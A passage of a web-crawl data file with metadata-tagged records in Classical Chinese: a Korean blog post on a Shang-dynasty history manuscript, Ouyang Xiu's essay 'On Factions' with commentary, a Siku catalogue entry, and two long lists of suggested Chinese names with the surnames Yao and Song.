0.02372581884264946}","num_words":692,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.695,"perplexity_score":500.0,"cluster_detection":1} +{"text":"태평성세의 시대를 연 하은주夏殷周 시대의 이야기 중 은殷나라의 주왕紂王의 이야기를 담은 상국본기啇國本記는 조선시대 통감이라 부르는 역사서歷史書이다. 우연히 소장하게 된 이 책은 크기가 가로 175cm, 세로 205cm의 필사본으로 앞으로 옮겨 적으면서 해석하면 재미가 솔솔할 것 같다. 啇國本記 啇王受姓子氏 帝乙也 子成湯也 二十八代孺也 都朝歌國號啇 初帝乙有三子 長曰微子啓 次曰微仲 皆庶子也 三曰受 嫡子也 帝乙欲立庶子啓爲太子 群臣皆曰不可 當立嫡子 帝乙隨也 立受爲太子 帝乙崩 群臣立受 是爲紂 爲人聦明勇猛 手擊猛獸 力能上走馬 智足以拒諫 言足以飾非 自以爲天下也 人英00也 是時天下諸侯共尊 而爲每年一貢 三年一朝 朝臣文武中 微子微仲 王子比干箕子膠鬲梅伯朱莒商容 皆人賢也 蜚仲惡來蜚廉 皆小人也 紂王七年諸侯大朝會 東伯侯 姜桓椘 ..","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/blog.daum.net\/win690\/archive\/20201109","date":"2021-01-21T02:49:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703522150.18\/warc\/CC-MAIN-20210121004224-20210121034224-00704.warc.gz","language":"lzh","language_score":0.9871348739,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9871348738670349, \"kor_Hang_score\": 0.011136490851640701}","num_words":74,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n姚熙颖 姚秀冉 姚乐冉 姚格莉 姚艳梅 姚菲莉 姚韵茹 姚菁莹 姚张燕 姚昌蓉 姚本琼 姚满玲 姚心琳 姚皓洁 姚熙媛 姚翠芬 姚晓妍 姚姿婷 姚洁茹 姚维文 姚怡如 姚新娥 姚莉芹 姚琳芳 姚竹婷 姚昕怡 姚邯红 姚睿婷 姚茜婷 姚华文 姚必芬 姚宗花 姚秀洁 姚潭玉 姚江雪 姚清玉 姚清琼 姚和芳 姚汝玉 姚泽花 姚江玉 姚书怡 姚玲云 姚秉文 姚玲茜 姚秀婷 姚利颖 姚秀颖 姚秀瑶 姚宇红 姚杰琼 姚悦悦 姚瑶月 姚瑶跃 姚素梅 姚林红 姚得莉 姚喜美 姚柯妍 姚柯文 姚芬橙 姚林文 姚怡可 姚苇萍 姚讳萍 姚珲萍 姚玮萍 姚和芬 姚辉颖 姚辉莹 姚曳文 姚秀胜 姚怡民 姚瑞瑶 姚玲敏 姚岑瑶 姚倩怡 姚惠美 姚犀文 姚姝文 姚若文 姚西文 姚惜文 姚希文 姚海莹 姚尚琳 姚欣洁 姚依芬 姚栩文 姚丽娥 姚序文 姚苈娥 姚谊瑶 姚梓瑶 姚林瑶 姚逸瑶 姚倩茹 姚如雪 姚紫娟 姚夕文 姚小悦 姚君玉 姚中琳 姚怀玉 姚舜悦 姚验萍 姚馨媛 姚伟萍 姚包红 姚宝玲 姚静芬 姚丽怡 姚怡忻 姚王丽 姚常玉 姚丽花 姚玲艳 姚雅悦 姚舒秀 姚会琼 姚清悦 姚玲爱 姚昊芳 姚峰琴 姚风琴 姚爱文 姚晋霞 姚芝娜 姚延燕 姚希妍 姚池悦 姚冰悦 姚淇悦 姚淇妍 姚昕妍 姚艳芬 姚忻婷 姚忻颖 姚燕忠 姚茹冰 姚晨霞 姚希萍 姚小洁 姚张红 姚冰倩 姚子茹 姚歆悦 姚忠文 姚丹莉 姚思娟 姚礼文 姚理文 姚怡林 姚文怡 姚品文 姚悦妍 姚会玲 姚增丽 姚增英 姚一文 姚浩妍 姚忻怡 姚沛妍 姚童妍 姚兴娥 姚国芬 姚冰雪 姚继颖 姚建美 姚婧琦 姚玲巧 姚矜妍 姚福艳 姚吕婷 姚柳梅 姚仲文 姚从文 姚洁琼 姚金红 姚悦洋 姚婕茹 姚若茹 姚竞茹 姚吉娜 姚思洁 姚美媛 姚依媛 姚伊媛 姚道芳 姚可芳 姚妍希 姚振琳 姚级芬 姚胡琴 姚骏文 姚永英 姚晚霞 姚利娟 姚贺琴 姚婧敏 姚丝妍 姚桠秀 姚莉娟 姚冬娟 姚海娟 姚玲芝 姚武娟 姚悦航 姚思红 姚天悦 姚欣红 姚欣莉 姚潇冉 姚曼娜 姚茜文 姚娟艳 姚镡琳 姚烈芳 姚维婧 姚站英 姚振英 姚月红 姚荨悦 姚悦馨 姚馨悦 姚悦莹 姚焱燕 姚启芬 姚建妹 姚羿琼 姚悦然 姚凯颖 姚妍彬 姚慧丽 姚可颖 姚怡颖 姚远颖 姚怡莹 姚佳瑛 姚诗妍 姚思琳 姚诗琳 姚诗娅 姚怡静 姚零红 姚灵红 姚凌红 姚陵红 姚伶红 姚奕蓉 姚芙玲 姚芙琳 姚桂文 姚乔娅 姚玉娅 姚元英 姚媛盈 姚华芳 姚倚琳 姚绮琳 姚琳卿 姚瑶翘 姚锶悦 姚锶莹 姚锶颖 姚荔婷 姚茜媛 姚悦言 姚悦延 姚忻妍 姚忻秀 姚志英 姚二琳 姚泽红 姚秀莹 姚秀宜 姚诗莹 姚秀仪 姚纪蓉 姚友琳 姚诗婧 姚泳倩 姚沭倩 姚泽倩 姚善美 姚蓉芳 姚唐雪 姚悦鸣 姚友文 姚广洁 姚树红 姚秀延 姚秀言 姚伟艳 姚彩英 姚仙芬 姚鸿媛 姚吉红 姚彤琳 姚瑶彤","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/www.o681.cn\/show_A01.aspx","date":"2021-01-21T10:59:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703524743.61\/warc\/CC-MAIN-20210121101406-20210121131406-00586.warc.gz","language":"lzh","language_score":0.4836637378,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.48366373777389526, \"und_Hira_score\": 0.1186310276389122, \"cmn_Hani_score\": 0.09863926470279694, \"jpn_Jpan_score\": 0.0799584835767746, \"und_Cans_score\": 0.06564205884933472, \"und_Grek_score\": 0.021377582103013992, \"und_Copt_score\": 0.016035614535212517, \"yue_Hani_score\": 0.015126262791454792}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n朋黨論 歐陽修\n臣聞朋黨之說、自古有之、惟幸人君辨其君子小人而已。歸重人君、一篇主意。大凡君子與君子、以同道爲朋。小人與小人、以同利爲朋。此自然之理也。君子小人、先平寫一筆。然臣謂小人無朋、惟君子則有之。其故何哉。側注君子立論。小人所好者、利祿也。所貪者、貨財也。當其同利之時、暫相黨引以爲朋者、僞也。及其見利而爭先、或利盡而交疏、則反相賊害。雖其兄弟親戚、不能相保。故臣謂小人無朋、其暫爲朋者、僞也。承寫小人無朋。君子則不然。所守者道義、所行者忠信、所惜者名節。以之修身、則同道而相益。以之事國、則同心而共濟。終始如一、此君子之朋也。承寫君子有朋。故爲人君者、但當退小人之僞朋、用君子之真朋、則天下治矣。應轉人君辨其君子小人句、作一束。以起下六段意。堯之時、小人共工驩兜等四人爲一朋、君子八元、伯奮、仲堪、叔獻、季仲、伯虎、仲熊、叔豹、季貍。八愷、蒼舒、隤敳、檮戭、大臨、尨降、庭堅、仲容、叔達。十六人爲一朋。舜佐堯、退四凶小人之朋、而進元愷君子之朋、堯之天下大治。君子一證。及舜自爲天子、而皋夔稷契等二十二人、四岳、九官、十二牧。並立於朝、更相稱美、更相推讓、凡二十二人爲一朋。而舜皆用之、天下亦大治。君子又一證。書曰、紂有臣億萬、惟億萬心。周有臣三千、惟一心。紂之時、億萬人各異心、可謂不爲朋矣、然紂以亡國。小人一證。周武王之臣三千人爲一大朋、而周用以興。君子又一證。後漢獻帝時、盡取天下名士囚禁之、目爲黨人。時以竇武、陳蕃、李膺、郭泰、范滂、張儉等爲黨人。及黃巾賊起、漢室大亂、後方悔悟、盡解黨人而釋之、然已無救矣。鉅鹿張角、聚衆數萬、皆著黃巾、以爲標幟、時人謂之黃巾賊。帝召羣臣會議、皇甫嵩以爲宜解黨禁、帝懼而從之。 ○小人又一證。唐之晚年、漸起朋黨之論。李德裕之黨多君子、牛僧孺之黨多小人、號牛李黨。及昭宗時、盡殺朝之名士、或投之黃河、曰、此輩清流、可投濁流。而唐遂亡矣。天佑二年、朱全忠聚朝士、貶官者三十餘人、於白馬驛盡殺之。時李振屢舉進士不中第、深疾縉紳之士、言於全忠曰、此輩嘗自謂清流、宜投之黃河、使爲濁流。全忠笑而從之。 ○小人又一證。夫前世之主、能使人人異心不爲朋、莫如紂。能禁絕善人爲朋、莫如漢獻帝。能誅戮清流之朋、莫如唐昭宗之世。然皆亂亡其國。繳上紂漢唐三段、是不能辨君子小人者。更相稱美推讓而不自疑、莫如舜之二十二臣。舜亦不疑而皆用之。然而後世不誚舜爲二十二人朋黨所欺、而稱舜爲聰明之聖者、以能辨君子與小人也。周武之世、舉其國之臣三千人共爲一朋、自古爲朋之多且大莫如周、然周用此以興者、善人雖多而不厭也。繳前舜武三段、是能辨君子小人者。 ○看他一一用倒捲之法、五莫如字、尤錯落可誦。嗟呼、治亂興亡之迹、爲人君者、可以鑒矣。總繳治亂興亡四字。歸到人君身上、直與篇首惟幸人君句相應。\n公此論爲杜、范、韓、富諸人發也。時王拱辰、章得象輩欲傾之。公旣疏救、復上此論。蓋破藍元震朋黨之說、意在釋君之疑。援古事以證辨、反覆曲暢、婉切近人。宜乎仁宗爲之感悟也。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/neodu.com\/%E3%80%8A%E6%9C%8B%E9%BB%A8%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-03-09T07:34:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178389472.95\/warc\/CC-MAIN-20210309061538-20210309091538-00397.warc.gz","language":"lzh","language_score":0.6695227623,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.669522762298584, \"cmn_Hani_score\": 0.153786763548851, \"nan_Hani_score\": 0.058596350252628326, \"jpn_Jpan_score\": 0.0314955934882164, \"wuu_Hani_score\": 0.01785058155655861, \"yue_Hani_score\": 0.011044938117265701}","num_words":9,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.669,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部四十 雜家類存目七\n游具雅編 一卷\n編修程晉芳家藏本\n明屠隆撰。所載笠杖漁竽之屬。皆便於遊賢之具。故以爲名。卷未附圖四式。一曰太極樽。一曰葫蘆樽。一曰山遊提盒。一曰提爐。雖書中所已具。以其形製皆須圖乃明。故復附繪於未。","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0271404.html","date":"2021-05-17T09:12:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243992159.64\/warc\/CC-MAIN-20210517084550-20210517114550-00432.warc.gz","language":"lzh","language_score":0.4008691013,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.40086910128593445, \"cmn_Hani_score\": 0.39948078989982605, \"jpn_Jpan_score\": 0.08080360293388367, \"yue_Hani_score\": 0.04309149459004402, \"wuu_Hani_score\": 0.029549872502684593, \"nan_Hani_score\": 0.02433297038078308}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.401,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓宋的男孩女孩名字 姓宋的女孩子起什么名字好呢?\n2021-06-18 03:48:46\n姓宋的女孩子起什么名字好呢?\n宋皓轩 宋鑫磊 宋文博 宋晟棋 宋鹤轩 宋沙欧 宋厉辉 宋擎宇 宋文轩 宋伟诚 宋浩宇 宋松德 宋峻熙 宋智轩 宋智宸 宋玮伦 宋鑫鹏 宋昊强 宋天佑 宋越彬 宋明轩 宋弘昌 宋烨伟 宋秀杰 宋智渊 宋韵舟 宋炎彬 宋伟祺 宋展鹏 宋泽洋 宋致轩 宋昊天 宋冠霖 宋靖琪 宋泽楷 宋致远 宋雨泽 宋建辉 宋晟睿 宋志强 宋翰思 宋国龙 宋劲松 宋楷瑞 宋星野 宋韵文 宋晓啸 宋明杰 宋新杰 宋健柏 宋振豪 宋瑾瑜 宋金傲 宋越泽 宋冠楠 宋鸿煊 宋雪松 宋君浩 宋国豪 宋苑博 宋旭尧 宋辰逸 宋伟宸 宋鹏涛 宋浩南 宋睿渊 宋懿轩 宋泰宇 宋鸿涛 宋煜祺 宋明辉 宋世博 宋新豪 宋弘文 宋博文 宋苑杰 宋君昊 宋厉轩 宋达强 宋煜城 宋俊驰 宋俊材 宋俊楠 宋天宇 宋圣杰 宋文昊 宋鼎寒 宋哲瀚 宋卡思 宋荣轩 宋天磊 宋绍辉 宋博超 宋博涛 宋伟泽 宋泽辰 宋松明 宋瀚雨 宋桦君 宋德恩 宋涛轩 宋泽义 宋秀哲 宋寒镜 宋君名 宋博向 宋玮栋 宋哲瑞 宋昌宝 宋远恩 宋星楠 宋德桦 宋乾君 宋浩帆 宋圣靖 宋明新 宋苑涛 宋轩鼎 宋泽元 宋世翰 宋彬翰 宋智旭 宋国蓝 宋凌风 宋彬逸 宋鼎瑞 宋瀚春 宋棋尚 宋秋潭 宋浩涛 宋鸿庆 宋材楠 宋弥高 宋晋松 宋天星 宋玄鹤 宋文鼎 宋泽云 宋啸傲 宋弘超 宋宇向 宋智宇 宋杰邦 宋翰元 宋宇烟 宋弘影 宋涛遥 宋俊维 宋鼎恩 宋棋伦 宋玮磊 宋俊庭 宋辉桦 宋文庭 宋昊天 宋君博 宋远旷 宋瀚诚 宋弘杰 宋泽柳 宋柏新 宋乔松 宋溪舟 宋博若 宋晋德 宋寒柏 宋秀轩 宋德兴 宋乐城 宋博胜 宋弘帆 宋文洪 宋鸿轩 宋旭帆 宋益坚 宋弘星 宋博镜 宋博睿 宋棋柏 宋雷豫 宋鼎磊 宋玄翔 宋海明 宋德浩 宋文青 宋博福 宋松哲 宋雪光 宋文峻 宋德涛 宋文启 宋晋秋 宋俊豪 宋弘盛 宋文锋 宋博冠 宋博雪 宋思远 宋文琦 宋翱翔 宋松韵 宋博亦 宋圣原 宋彬翎 宋劲益 宋图城 宋雨泰 宋俊宇 宋星欧 宋善誉 宋博泰 宋永都 宋玮图 宋瀚景 宋瀚辰 宋涛达 宋彬灿 宋玮贤 宋全智 宋鼎新 宋晋阳 宋材帆 宋文材 宋泽恒 宋仁鸿 宋阔畅 宋哲帆 宋翰德 宋桦浦 宋文寒 宋棋树 宋浩承 宋崇德 宋风佑 宋德欧 宋景盛 宋晓涛 宋棋材 宋桦楠 宋彤博 宋恒易 宋达志 宋泽新 宋宇文 宋柏千 宋彬遥 宋秀永 宋棋凡 宋若菲 宋远尚 宋仁承 宋文皓 宋天文 宋德春 宋博强 宋永图 宋圣龙 宋文博 宋韵昌 宋荣棋 宋昌鹤 宋文靖 宋苑宇 宋旭磊 宋智哲 宋彬新 宋弘博 宋益才 宋文啸 宋博峻 宋宇霄 宋寒新 宋智胜 宋宇舟 宋涛信 宋信昌 宋德月 宋浩鸿 宋文庆 宋寒辉 宋俊欧 宋泽鸿 宋文宏 宋昌国 宋俊远 宋明楷 宋辉翰 宋世高 宋昌坤 宋君辰 宋瀚欧 宋城名 宋晋畅 宋远若 宋德辉 宋新安 宋弘羽 宋海尘 宋文林 宋彤玮 宋弘国 宋智天 宋泽春 宋智永 宋俊鹤 宋晋唯 宋强峻 宋雨哲 宋鼎璋 宋涛旷 宋文驰 宋鸿颜 宋弘冠 宋敬贤 宋石楷 宋鸿城 宋韵帆 宋松遥 宋德棋 宋泰泽 宋棋胜 宋博辉 宋彤德 宋善信 宋杰雄 宋棋博 宋茂辉 宋翰逸 宋文尧 宋文进 宋秀宇 宋敬壤 宋风海 宋天伦 宋志鸿 宋冠宇 宋健江 宋涛耀 宋君图 宋圣云 宋鸿天 宋旭颜 宋杰胜 宋俊杰 宋俊德 宋瀚帆 宋柯勉 宋彤豪 宋博奥 宋君鹤 宋杰城 宋文炫 宋文欧 宋寒彤 宋博轩 宋镇言 宋致鸿 宋强邦 宋俊云 宋旭琪 宋泰运 宋星伦 宋晓明 宋智凯 宋寒元 宋鼎融 宋钦明 宋弘伦 宋胜游 宋旭棋 宋晋野 宋浩楠 宋辉天 宋浩舟 宋君瑞 宋棕基 宋仁杰 宋宇楠 宋翰哲 宋依隆 宋鸿龙 宋文向 宋弘岩 宋泰轩 宋博晋 宋健凯 宋泽雷 宋君达 宋泰云 宋依明 宋文益 宋博乾 宋睿轩 宋雨伦 宋昌舟 宋晋华 宋棋昌 宋泽仁 宋博任 宋彤轩 宋雨诚 宋弘鉴 宋启林 宋泽南 宋泽翎 宋江树 宋德依 宋展融 宋棋坤 宋桦颜 宋圣江 宋伯灿 宋玮轩 宋轩鹤 宋博瑾 宋昌杰 宋鸿蝶 宋雨瑞 宋玮旭 宋俊承 宋丰瞻 宋健玮 宋城久 宋文诚 宋展鹤 宋智毅 宋天明 宋君龙 宋韵翰 宋涛诚 宋风睿 宋寒哲 宋轩洪 宋晋源 宋杰祺 宋劲星 宋玮熙 宋新明 宋展舟 宋帆影 宋宇杰 宋柏云 宋韵鸿 宋博恒 宋展翔 宋君冠 宋善诚 宋瀚江 宋圣博 宋泽宇 宋浩桦 宋博舟 宋弘棋 宋浩胜 宋世轩 宋君宇 宋文辰 宋润泽 宋博图 宋德哲 宋江南 宋昌蝶 宋俊胜 宋宇辉 宋哲俊 宋杰轩 宋风沙 宋翰江 宋远涛 宋彬泽 宋至德 宋荣华 宋世彤 宋鼎春 宋玮泽 宋远德 宋羽菲 宋君月 宋少文 宋柏瀚 宋鼎冠 宋晋龙 宋昊瀚 宋鸿复 宋寒春 宋凌冬 宋昌朋 宋唯金 宋月阳 宋德胜 宋烟涛 宋韵杰 宋弘智 宋文易 宋凌翔 宋昌新 宋玮韵 宋德琦 宋展国 宋旭业 宋智城 宋涛冰 宋涛羽 宋圣依 宋弘颜 宋旭泰 宋鼎辰 宋翰星 宋庆云 宋泽胜 宋韵依 宋知国 宋馨折 宋文卫 宋君凡 宋桦远 宋韵元 宋柏轩 宋德君 宋仁俊 宋紫明 宋晓诚 宋谦德 宋德金 宋志轩 宋桦沙 宋君旭 宋晓耕 宋君恩 宋诚石 宋寒松 宋秀帆 宋展新 宋弘翔 宋羽道 宋旭乔 宋博岩 宋俊畅 宋宇尘 宋远靖 宋智强 宋远舟 宋旭胜 宋浩凯 宋松云 宋俊文 宋文言 宋畅风 宋彬佑 宋传德 宋安欢 宋文康 宋浚泉 宋翰羽 宋秋满 宋辉韵 宋棋羽 宋弘易 宋圣傲 宋柯依 宋晋善 宋彤逸 宋金戈 宋翰依 宋鸿风 宋弘海 宋桦波 宋旭舟 宋圣恒 宋健德 宋杰霖 宋天佑 宋博华 宋疏林 宋旭瀚 宋柏枝 宋俊棋 宋柯望 宋弘豪 宋志佑 宋远博 宋哲皓 宋风临 宋泽龙 宋杰裕 宋俊绍 宋震远 宋松啸 宋德宇 宋玮耀 宋德灿 宋潜龙 宋杰宏 宋俊新 宋万沙 宋敬轩 宋翰运 宋苑棋 宋昊哲 宋楷君 宋文名 宋晋浪 宋风震 宋圣毅 宋松瀚 宋远新 宋健瀚 宋志诚 宋安荣 宋晋康 宋弘天 宋江流 宋玮博 宋彬来 宋玮胜 宋鼎遥 宋昌易 宋春海 宋布苛 宋知智 宋文弘 宋君羽 宋紫敬 宋风涛 宋翰启 宋晋文 宋国栋 宋松图 宋瀚博 宋浩尚 宋展信 宋志晋 宋玮祺 宋智贤 宋鼎文 宋易安 宋瀚舟 宋玮舟 宋明哲 宋棋苑 宋博益 宋浩恒 宋志瑞 宋畅松 宋昌凯 宋俊奇 宋文强 宋俊桦 宋清风 宋城威 宋达明 宋宇泰 宋博云 宋彬承 宋泰欧 宋轩晨 宋浩海 宋鼎封 宋文祖 宋百川 宋文祥 宋言志 宋弘信 宋棋春 宋游孝 宋淘沙 宋韵棋 宋思睿 宋玄彤 宋鼎风 宋博城 宋德帆 宋文俊 宋博宇 宋彬杰 宋柯明 宋睿棋 宋鼎承 宋依夫 宋新远 宋晋尘 宋展龙 宋振新 宋韵涛 宋鸿强 宋昌崇 宋玮宇 宋涛涛 宋博庭 宋杰翔 宋轩诚 宋棋拓 宋桦晨 宋依庆 宋博磊 宋文松 宋展尚 宋文涛 宋世瀚 宋仁豪 宋晋豪 宋雪芹 宋野楠 宋伦瀚 宋翰月 宋辉弘 宋仁文 宋智明 宋昌智 宋波浩 宋智彤 宋棋语 宋文宝 宋寒瑾 宋星宇 宋胜月 宋晋辉 宋秀楷 宋昌瑾 宋文豪 宋鼎诚 宋依昭 宋世贤 宋玮柏 宋劲博 宋君玄 宋江雁 宋畅瑞 宋泽柏 宋进德 宋振茂 宋昌德 宋圣辰 宋雨辉 宋智韵 宋泽羽 宋圣楠 宋博杰 宋仁毅 宋文逸 宋松德 宋苑星 宋豪杰 宋泽辉 宋城栋 宋昊龙 宋桦叶 宋俊泰 宋韵泽 宋温枝 宋韵沙 宋杉青 宋钦文 宋石德 宋孝德 宋弘玉 宋翰拓 宋轩宇 宋雨豪 宋德强 宋韵星 宋晋毅 宋杰依 宋强恒 宋健轩 宋文琪 宋昌秀 宋韵熙 宋秀远 宋轩轩 宋金福 宋昌轩 宋鸿宏 宋宇承 宋弘翰 宋德忠 宋泽蝶 宋智豪 宋韵天 宋楠泽 宋昌荣 宋悟浩 宋远鹤 宋雨畅 宋彬盛 宋乾元 宋云志 宋泰鹤 宋俊闻 宋晋庭 宋健哲 宋文熙 宋浩南 宋哲欧 宋德凡 宋德欢 宋文胜 宋君鸣 宋彬原 宋棋哲 宋浩明 宋晋茂 宋俊星 宋宇栋 宋亦朋 宋涛哲 宋翰轩 宋世豪 宋浚哲 宋瀚波 宋旭德 宋展邦 宋兴方 宋泽金 宋翰棋 宋泽傲 宋任平 宋玮羽 宋玮邦 宋玮信 宋文刚 宋展浩 宋才俊 宋浩言 宋文轩 宋伦鹤 宋文锦 宋新豪 宋乾雨 宋维新 宋远林 宋德石 宋鸿耀 宋泽杭 宋众凌 宋鸿望 宋韵轩 宋鸿鹤 宋彤月 宋林仕 宋健东 宋俊朋 宋荣杭 宋鸿灿 宋翰辰 宋旭恩 宋昌远 宋智睿 宋韵鹤 宋城天 宋德闻 宋俊玉 宋世民 宋安辉 宋恩益 宋晋名 宋弘熙 宋文旭 宋文恒 宋玮翰 宋韵辰 宋幽朋 宋晋信 宋俊宝 宋弘琦 宋桦佑 宋安皓 宋志君 宋依平 宋玮业 宋泽易 宋弘彦 宋文良 宋俊韵 宋圣刚 宋德博 宋楠博 宋彬凯 宋志欧 宋亦君 宋智信 宋彬亦 宋杰雷 宋君善 宋彬野 宋安逸 宋哲玮 宋智远 宋龙德 宋昌永 宋雨轩 宋智泽 宋博新 宋弘乐 宋旭若 宋韵尘 宋浩月 宋博毅 宋文昊 宋寒江 宋弘毅 宋桦冠 宋冠韵 宋晋国 宋博星 宋圣遥 宋圣诚 宋鸿云 宋志帆 宋智鹤 宋浩杰 宋荣春 宋弘泽 宋浩润 宋雪博 宋弥坚 宋云新 宋昌裕 宋鸿永 宋游振 宋星晨 宋棋韵 宋明城 宋闻枝 宋涛源 宋羽明 宋浩龙 宋泰尚 宋德明 宋祥林 宋雨博 宋博遥 宋世星 宋弘瑜 宋荣裕 宋寒波 宋昌鸿 宋杰元 宋博帆 宋涛辉 宋风翰 宋浩泽 宋楠天 宋文健 宋昌游 宋博雷 宋德舟 宋玮遥 宋志新 宋元良 宋昌浩 宋荣星 宋弘邦 宋棋帆 宋博楠 宋智畅 宋贤德 宋海德 宋翰磊 宋浩野 宋博进 宋晋皓 宋清辉 宋宇欢 宋浩哲 宋昌弘 宋涛东 宋莫闲 宋杰信 宋崇雨 宋志盛 宋涛图 宋彬岩 宋韵瀚 宋韵龙 宋德鸿 宋文新 宋世恒 宋展欧 宋翰信 宋德方 宋宇明 宋致波 宋君贤 宋鼎名 宋晋拓 宋哲柏 宋志材 宋弘翎 宋文翔 宋景辉 宋博恩 宋弘琪 宋浩翰 宋博君 宋彤鸣 宋涛鸿 宋博光 宋翰波 宋兴言 宋浩悠 宋玮拓 宋尚兴 宋新知 宋君谦 宋月松 宋宇信 宋星承 宋荣浩 宋玮靖 宋雪柏 宋旭庭 宋新志 宋寒义 宋风轻 宋弘遥 宋哲轩 宋施普 宋浩磊 宋浩玄 宋昌云 宋宇欧 宋泰玄 宋新旷 宋桦振 宋杰耀 宋荣庆 宋棋玮 宋弘玮 宋浩凡 宋远翰 宋文耀 宋博韵 宋博洋 宋晋新 宋志邦 宋杰毅 宋劲羽 宋泽琪 宋泽恩 宋旭柏 宋晋岳 宋鸿震 宋哲磊 宋雨涛 宋明健 宋展荣 宋弘庆 宋泽茂 宋星韵 宋远春 宋棋天 宋棋欢 宋彬豪 宋宇琦 宋君诚 宋博鉴 宋昌贤 宋文霖 宋桦鹤 宋明瑞 宋涛崇 宋文玉 宋文灿 宋弘皓 宋俊义 宋涛浩 宋劲鸿 宋瀚西 宋浩瑞 宋泽晋 宋玮云 宋涛乐 宋唯仁 宋奔海 宋彬棋 宋昌伟 宋晋知 宋泽轩 宋杰羽 宋德云 宋泰岩 宋弘松 宋依征 宋涛天 宋瀚宇 宋修永 宋昌融 宋涛文 宋轩翎 宋弘哲 宋轩瀚 宋君裕 宋弘云 宋鼎岩 宋涛益 宋秀棋 宋光辉 宋智恒 宋俊辰 宋常德 宋棋道 宋苑霖 宋林均 宋玮诚 宋明轩 宋元享 宋博羽 宋旭冠 宋博棋 宋苑羽 宋泰诚 宋楷韬 宋星寒 宋杰良 宋修德 宋达知 宋志青 宋韵磊 宋怀君 宋永福 宋涛荣 宋博楷 宋如翼 宋鼎鸿 宋展辉 宋哲伟 宋晓桐 宋文标 宋弘志 宋月帆 宋棕德 宋圣佑 宋睿博 宋桦肖 宋彬鸿 宋游仁 宋宇悠 宋紫然 宋松轩 宋哲博 宋哲远 宋君皓 宋鼎拓 宋利元 宋圣月 宋彬诚 宋材旭 宋风轩 宋青平 宋玮楷 宋俊贤 宋德烟 宋昊宇 宋俊元 宋昌如 宋鼎哲 宋鼎棋 宋展毅 宋昌欧 宋启明 宋智浩 宋言明 宋昌皓 宋文阳 宋风韵 宋韵祺 宋幽恒 宋彬凡 宋俊博 宋菲星 宋翰浩 宋安德 宋涛聪 宋晓柯 宋文韵 宋彬元 宋泰杭 宋秀泽 宋智玮 宋浩依 宋泽裕 宋涛唯 宋楷拓 宋文柏 宋翰刚 宋鼎萧 宋文邦 宋易棕 宋昌宁 宋旭民 宋博翎 宋浩影 宋智辰 宋修古 宋德楠 宋明志 宋文星 宋韵云 宋桦白 宋泰龙 宋浩辉 宋韵城 宋圣华 宋志恒 宋雪德 宋月华 宋展向 宋阳诚 宋依德 宋青余 宋杰运 宋睿瀚 宋菲扬 宋星辰 宋信志 宋星野 宋鸿春 宋依百 宋鸿锦 宋棋观 宋文帆 宋泽哲 宋世宇 宋彬宇 宋苑龙 宋玮尘 宋昌耀 宋新治 宋胜达 宋玮琪 宋风瀚 宋玮誉 宋烟波 宋玮鸿 宋善仁 宋秀逸 宋健国 宋俊浩 宋晓铭 宋冠城 宋博来 宋雷震 宋泽庭 宋泰信 宋文云 宋涛国 宋游城 宋文岩 宋涛博 宋俊辉 宋博远 宋泽盛 宋松奇 宋泽国 宋鼎瀚 宋博涛 宋鼎向 宋志高 宋弘胜 宋杉国 宋俊业 宋泰舟 宋鸿星 宋涛冠 宋江春 宋远旭 宋辉轩 宋俊倚 宋博伦 宋博海 宋雨遥 宋棋圣 宋寒邦 宋宇鹤 宋文来 宋泽邦 宋文国 宋德盛 宋风华 宋玮傲 宋戏蝶 宋棕天 宋翰海 宋俊华 宋高远 宋玮皓 宋涛韵 宋杰鹤 宋云舟 宋哲诚 宋善渊 宋德向 宋玮龙 宋怀玉 宋昌翔 宋彬浪 宋鼎宇 宋博振 宋圣坤 宋德翔 宋博瀚 宋泽明 宋涛毅 宋羽春 宋鸿文 宋德韵 宋晋超 宋文昆 宋昊贤 宋涛新 宋紫胜 宋青云 宋棋易 宋哲琪 宋智伟 宋浩遥 宋百枝 宋游羽 宋若尘 宋德润 宋博鸿 宋君慎 宋沧浪 宋浩辰 宋彬信 宋翰辉 宋晓星 宋俊国 宋展畅 宋城城 宋韵羽 宋鸿博 宋棋龙 宋德畅 宋岩鹤 宋秀文 宋星诚 宋玮瑞 宋云流 宋博鹤 宋新达 宋博顺 宋展豪 宋博畅 宋浩波 宋德江 宋亦闲 宋泰康 宋杰锐 宋智材 宋元君 宋玮益 